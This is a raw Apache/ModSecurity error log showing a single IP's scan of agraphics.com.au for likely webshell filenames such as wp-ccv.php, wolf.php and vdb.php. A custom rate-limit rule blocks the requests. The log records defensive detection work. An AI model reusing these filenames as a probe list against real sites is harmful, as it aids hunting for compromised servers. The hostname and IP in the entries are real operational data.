[Sun Apr 05 22:03:53.089766 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:21298] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "adJryWFGQVn8Q0ueB24vYwAAAQ8"]
[Sun Apr 05 22:03:53.601224 2026] [:error] [pid 45304:tid 45355] [client 68.221.134.12:21195] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "adJryQ5jnqDKKovdRkkk8QAAAEs"]
[Sun Apr 05 22:03:54.080500 2026] [:error] [pid 45305:tid 45384] [client 68.221.134.12:21292] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "adJryujDQjr7aWhjflBrZwAAAI0"]
[Sun Apr 05 22:03:54.656006 2026] [:error] [pid 30921:tid 30943] [client 68.221.134.12:21198] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "adJrymFGQVn8Q0ueB24vZgAAARQ"]
[Sun Apr 05 22:03:55.162324 2026] [:error] [pid 45304:tid 45359] [client 68.221.134.12:21493] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "adJryw5jnqDKKovdRkkk9AAAAE8"]
[Sun Apr 05 22:03:55.645182 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21291] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "adJry7boQ9eViZ4hdnlXTQAAAAg"]
[Sun Apr 05 22:03:57.110218 2026] [:error] [pid 45304:tid 45348] [client 68.221.134.12:21419] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "adJrzQ5jnqDKKovdRkkk-AAAAEQ"]
[Sun Apr 05 22:03:57.597971 2026] [:error] [pid 45303:tid 45319] [client 68.221.134.12:21284] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "adJrzbboQ9eViZ4hdnlXUwAAAAI"]
[Sun Apr 05 22:03:58.106011 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21362] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "adJrztHt_Oyw03gjCNglNgAAAMs"]
[Sun Apr 05 22:03:58.604129 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:21311] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "adJrzg5jnqDKKovdRkkk-gAAAEI"]
[Sun Apr 05 22:03:59.294100 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:21325] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "adJrz9Ht_Oyw03gjCNglOQAAANI"]
[Sun Apr 05 22:03:59.893864 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:21227] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "adJrz2FGQVn8Q0ueB24vbQAAAQ8"]
[Sun Apr 05 22:04:00.439007 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21199] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "adJr0NHt_Oyw03gjCNglPgAAAMM"]
[Sun Apr 05 22:04:00.946763 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21259] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "adJr0NHt_Oyw03gjCNglQQAAAMI"]
[Sun Apr 05 22:04:01.489826 2026] [proxy_fcgi:error] [pid 45409:tid 45431] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:01.731952 2026] [proxy_fcgi:error] [pid 45409:tid 45418] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:01.973938 2026] [proxy_fcgi:error] [pid 45409:tid 45435] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:02.229714 2026] [proxy_fcgi:error] [pid 45409:tid 45426] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:02.481249 2026] [proxy_fcgi:error] [pid 45409:tid 45424] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:02.728755 2026] [proxy_fcgi:error] [pid 45409:tid 45434] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:02.971513 2026] [proxy_fcgi:error] [pid 45409:tid 45423] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:03.213759 2026] [proxy_fcgi:error] [pid 45409:tid 45430] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:03.456936 2026] [proxy_fcgi:error] [pid 45409:tid 45416] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:03.733106 2026] [proxy_fcgi:error] [pid 45409:tid 45417] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:03.978307 2026] [proxy_fcgi:error] [pid 45409:tid 45428] [client 68.221.134.12:21264] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:04:04.217334 2026] [:error] [pid 45409:tid 45423] [client 68.221.134.12:21264] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adJr1NHt_Oyw03gjCNglWwAAAMw"]
[Sun Apr 05 22:04:04.746431 2026] [:error] [pid 30921:tid 30941] [client 68.221.134.12:21335] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adJr1GFGQVn8Q0ueB24vdAAAARI"]
[Sun Apr 05 22:04:05.236217 2026] [:error] [pid 45304:tid 45365] [client 68.221.134.12:21299] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adJr1Q5jnqDKKovdRkklAAAAAFU"]
[Sun Apr 05 22:04:05.742191 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21185] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adJr1dHt_Oyw03gjCNglYAAAANg"]
[Sun Apr 05 22:04:06.226810 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:21243] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adJr1rboQ9eViZ4hdnlXYAAAAAo"]
[Sun Apr 05 22:04:06.719548 2026] [:error] [pid 45409:tid 45423] [client 68.221.134.12:21293] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adJr1tHt_Oyw03gjCNglYgAAAMw"]
[Sun Apr 05 22:04:07.207519 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:21189] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adJr17boQ9eViZ4hdnlXZAAAABQ"]
[Sun Apr 05 22:04:07.733360 2026] [:error] [pid 30921:tid 30928] [client 68.221.134.12:21234] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adJr12FGQVn8Q0ueB24veQAAAQU"]
[Sun Apr 05 22:04:08.295705 2026] [:error] [pid 30921:tid 30942] [client 68.221.134.12:21303] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adJr2GFGQVn8Q0ueB24vfQAAARM"]
[Sun Apr 05 22:04:08.776178 2026] [:error] [pid 45304:tid 45354] [client 68.221.134.12:21289] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adJr2A5jnqDKKovdRkklAwAAAEo"]
[Sun Apr 05 22:04:09.322456 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:21305] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adJr2dHt_Oyw03gjCNglbgAAAMU"]
[Sun Apr 05 22:04:09.905192 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:21220] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adJr2dHt_Oyw03gjCNglcgAAANU"]
[Sun Apr 05 22:04:10.535733 2026] [:error] [pid 30921:tid 30936] [client 68.221.134.12:21236] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "adJr2mFGQVn8Q0ueB24vhQAAAQ0"]
[Sun Apr 05 22:04:11.041732 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:21212] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "adJr22FGQVn8Q0ueB24vhwAAAQg"]
[Sun Apr 05 22:04:11.525413 2026] [:error] [pid 45305:tid 45385] [client 68.221.134.12:21224] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "adJr2-jDQjr7aWhjflBrfAAAAI4"]
[Sun Apr 05 22:04:12.253804 2026] [:error] [pid 30921:tid 30924] [client 68.221.134.12:21230] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "adJr3GFGQVn8Q0ueB24viQAAAQE"]
[Sun Apr 05 22:04:12.741754 2026] [:error] [pid 30921:tid 30941] [client 68.221.134.12:21297] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wo.php"] [unique_id "adJr3GFGQVn8Q0ueB24vigAAARI"]
[Sun Apr 05 22:04:13.256721 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21307] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wo.php"] [unique_id "adJr3dHt_Oyw03gjCNglgwAAAMM"]
[Sun Apr 05 22:04:13.757552 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:21257] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wo.php"] [unique_id "adJr3dHt_Oyw03gjCNgliQAAANI"]
[Sun Apr 05 22:04:14.274549 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:21260] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wo.php"] [unique_id "adJr3tHt_Oyw03gjCNgljQAAAMo"]
[Sun Apr 05 22:04:14.768132 2026] [:error] [pid 45304:tid 45366] [client 68.221.134.12:21295] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adJr3g5jnqDKKovdRkklCAAAAFY"]
[Sun Apr 05 22:04:15.382319 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:21200] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adJr3w5jnqDKKovdRkklCQAAAFM"]
[Sun Apr 05 22:04:15.896737 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:21188] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adJr39Ht_Oyw03gjCNglkQAAANU"]
[Sun Apr 05 22:04:16.374865 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:21306] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adJr4LboQ9eViZ4hdnlXdAAAAA8"]
[Sun Apr 05 22:04:16.852098 2026] [:error] [pid 45303:tid 45340] [client 68.221.134.12:21344] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/floya.php"] [unique_id "adJr4LboQ9eViZ4hdnlXdgAAABc"]
[Sun Apr 05 22:04:17.352811 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:21450] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/floya.php"] [unique_id "adJr4dHt_Oyw03gjCNglnQAAAMY"]
[Sun Apr 05 22:04:17.852569 2026] [:error] [pid 30921:tid 30924] [client 68.221.134.12:21156] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/floya.php"] [unique_id "adJr4WFGQVn8Q0ueB24vmQAAAQE"]
[Sun Apr 05 22:04:18.379215 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:21263] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/floya.php"] [unique_id "adJr4mFGQVn8Q0ueB24vnAAAARA"]
[Sun Apr 05 22:04:18.920268 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21137] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adJr4tHt_Oyw03gjCNgloQAAANQ"]
[Sun Apr 05 22:04:19.417051 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:21242] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adJr42FGQVn8Q0ueB24vogAAAQ4"]
[Sun Apr 05 22:04:19.899030 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:21208] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adJr49Ht_Oyw03gjCNglowAAAMo"]
[Sun Apr 05 22:04:20.400086 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:21202] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adJr5NHt_Oyw03gjCNglpAAAAM8"]
[Sun Apr 05 22:04:20.889393 2026] [:error] [pid 45303:tid 45336] [client 68.221.134.12:21232] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "adJr5LboQ9eViZ4hdnlXfwAAABM"]
[Sun Apr 05 22:04:21.367851 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:21205] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "adJr5bboQ9eViZ4hdnlXggAAABQ"]
[Sun Apr 05 22:04:21.853989 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:21210] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "adJr5dHt_Oyw03gjCNglpgAAAMU"]
[Sun Apr 05 22:04:22.368696 2026] [:error] [pid 45304:tid 45362] [client 68.221.134.12:21265] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "adJr5g5jnqDKKovdRkklEAAAAFI"]
[Sun Apr 05 22:04:22.894632 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21136] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vdb.php"] [unique_id "adJr5tHt_Oyw03gjCNglqQAAANQ"]
[Sun Apr 05 22:04:23.502850 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21333] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vdb.php"] [unique_id "adJr59Ht_Oyw03gjCNglqwAAAMs"]
[Sun Apr 05 22:04:24.024966 2026] [:error] [pid 30921:tid 30946] [client 68.221.134.12:21187] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vdb.php"] [unique_id "adJr6GFGQVn8Q0ueB24vqgAAARc"]
